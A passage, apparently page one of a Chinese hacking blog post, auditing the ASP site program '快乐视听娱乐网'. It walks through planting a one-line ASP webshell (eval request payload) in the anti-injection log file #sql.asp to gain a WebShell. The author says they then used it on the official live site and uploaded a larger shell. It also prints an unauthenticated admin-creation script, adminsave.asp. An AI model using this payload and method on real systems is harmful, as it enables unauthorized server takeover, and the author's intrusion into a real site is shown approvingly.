前段时间一个朋友由于建站的需要,让我帮忙负责筛选整站程序。本着安全第一的原则,我一有时间就读朋友发来的挑选好的程序,大大小小的程序读了n多个。在读这些程序的过程中,我发现不少程序在脚本安全方面做得并不是很好,其中有些问题很典型,也很严重。下面我就以在“快乐视听娱乐网”这套程序中发现的问题为例进行分析。
拿到这套程序,我首先在本机上搭建了测试环境,大致了解一下这个程序的功能。我先找到调用数据库的连接地址,通过提交参数来判断是否有明显的注入漏洞,结果很欣慰地发现这个程序用了防注入系统,只要提交非法的参数就会自动记录你的IP地址、提交的非法参数及动作等,如图1所示,然后就是屏蔽你的IP地址,无法访问网站了。

之后我又在搜索框中输入“歌名%’ and 1=1 and ‘%’=’”和“歌名%’ and 1=2 and ‘%’=’”,发现也没有问题。查看程序代码,发现过滤了单引号,看来这条路也走不通了;其余的地方,如后台登录等也都做了过滤,只好继续看代码。最后发现即使没有过滤的变量文件也都用了处理 SSI 文件时出错
语句来调用防注入系统,这样注入这条路就彻底地断送了。难道就这样地被防注入系统给拒之门外了吗?想到有的防注入系统过滤得不好,我们还是可以利用URL编码绕过的,那么这里是否存在这样的问题呢?带着这样的疑问我看了下代码,发现也不存在这个问题。但是又看了一遍这个防注入系统代码,给了我一个惊喜,那就是这个防注入系统记录我们提交的非法数据,写入data目录中的#sql.asp数据库中。大家注意这里的数据库#sql.asp,其后缀是ASP格式的,而且没有做任何的防下载处理。聪明的读者可能已经想到了,我们为何不在提交非法的参数中加入一句话ASP木马呢?这样防注入系统就会记录我们提交的数据和一句话木马并写入数据库,我们不是可以通过#sql.asp来获得一个WebShell吗?这里需要注意的是“Fy_In="'|;|and|(|)|exec|insert|select|delete|update|
count|*|% |chr|mid|master|truncate|char|declare"”,我们只有提交这些出现“|”分隔的被过滤的字串的时候,才会被防注入系统拦截并写入数据库中,如图2所示。

这样,一句话木马就写进去了。<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>eval request(chr(35))</SCRIPT>其实就是<%eval request(chr(35))%>,我开始也是用<%eval request(chr(35))%>写的,但是发现在数据库中变成了<eval request(chr(35))>,那就不用“%”这个符号了,用<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>eval request(chr(35))</SCRIPT>也是一样的效果。这里我用Access打开给大家看看提交后写入数据库的完整格式,如图3所示。

这里我遇见一个奇怪的问题,在本地测试提交的时候一直提示“Script块缺少脚本关闭标记(%>)”。#sql.asp数据库没有做任何处理,也没有用网上流传的那个一运行就自动在数据库中加入防下载处理的ASP文件,这个问题郁闷了我半天。于是我请朋友“血汗”帮忙测试,也是这样的结果;然后我又重新测试了一下,竟然奇迹般的正常了,难道是我的人品问题?我想到的解释是,最后一个“%>”正好到了换行才导致这样的结果。这样的问题我遇见过好多次了,有知道的朋友记得要告诉我啊。这里记得可不能写错哦,把数据库弄坏了,闭合不了的话,就很难再利用第2次了。
能够成功利用上面的漏洞的前提是防注入数据库的路径我们要知道,不过大家可以放心,很少管理员会刻意修改这个数据库路径的,即便是官方网站也没有修改。本地测试成功后,我在官方网站随便找个调用数据库连接写入“;
”,这样一句话木马就写入成功了,然后用海洋连接上再上传个大马,这里我就不提供抓图了。我就是通过防注入程序漏洞先拿到了官方的WebShell,从而为后面的测试提供了很大的方便,大家继续看就明白了。
在读到adminsave.asp这个文件的时候,我又有了发现,这个漏洞对这个程序来说是致命的。源代码面前没有任何的秘密,这里我就先把代码贴出来给大家看看,如下所示。
| <!--#include file ="../md5/md5.asp"-->
<!--#include file="conn.asp"-->
<%
username=LCase(Request("username"))
password=LCase(Request("newpin"))
re_newpin=LCase(Request("re_newpin"))
if password<>re_newpin then
response.write"<script>alert('初始密码与确认密码不一致,不接受!');history.back();</Script>"
response.end
end if
password=MD5(password)
flag=Request("flag")
Set rs=Server.CreateObject("Adodb.RecordSet")
rs.Open "Select * from admin where name='"&username&"'",conn
if not rs.EOF then
Response.Write "<font color=red><div align=center><br><br>该用户名已经存在</div></font>"
Response.End
end if
rs.close
sql="select * from admin"
rs.open sql,conn,1,3
rs.addnew
rs("name")=username
rs("pwd")=password
rs("flag")=flag
rs.update
rs.Close
set rs=Nothing
conn.Close
set conn=Nothing
Response.Redirect "addadmin.asp"
%> |
1 2 下一页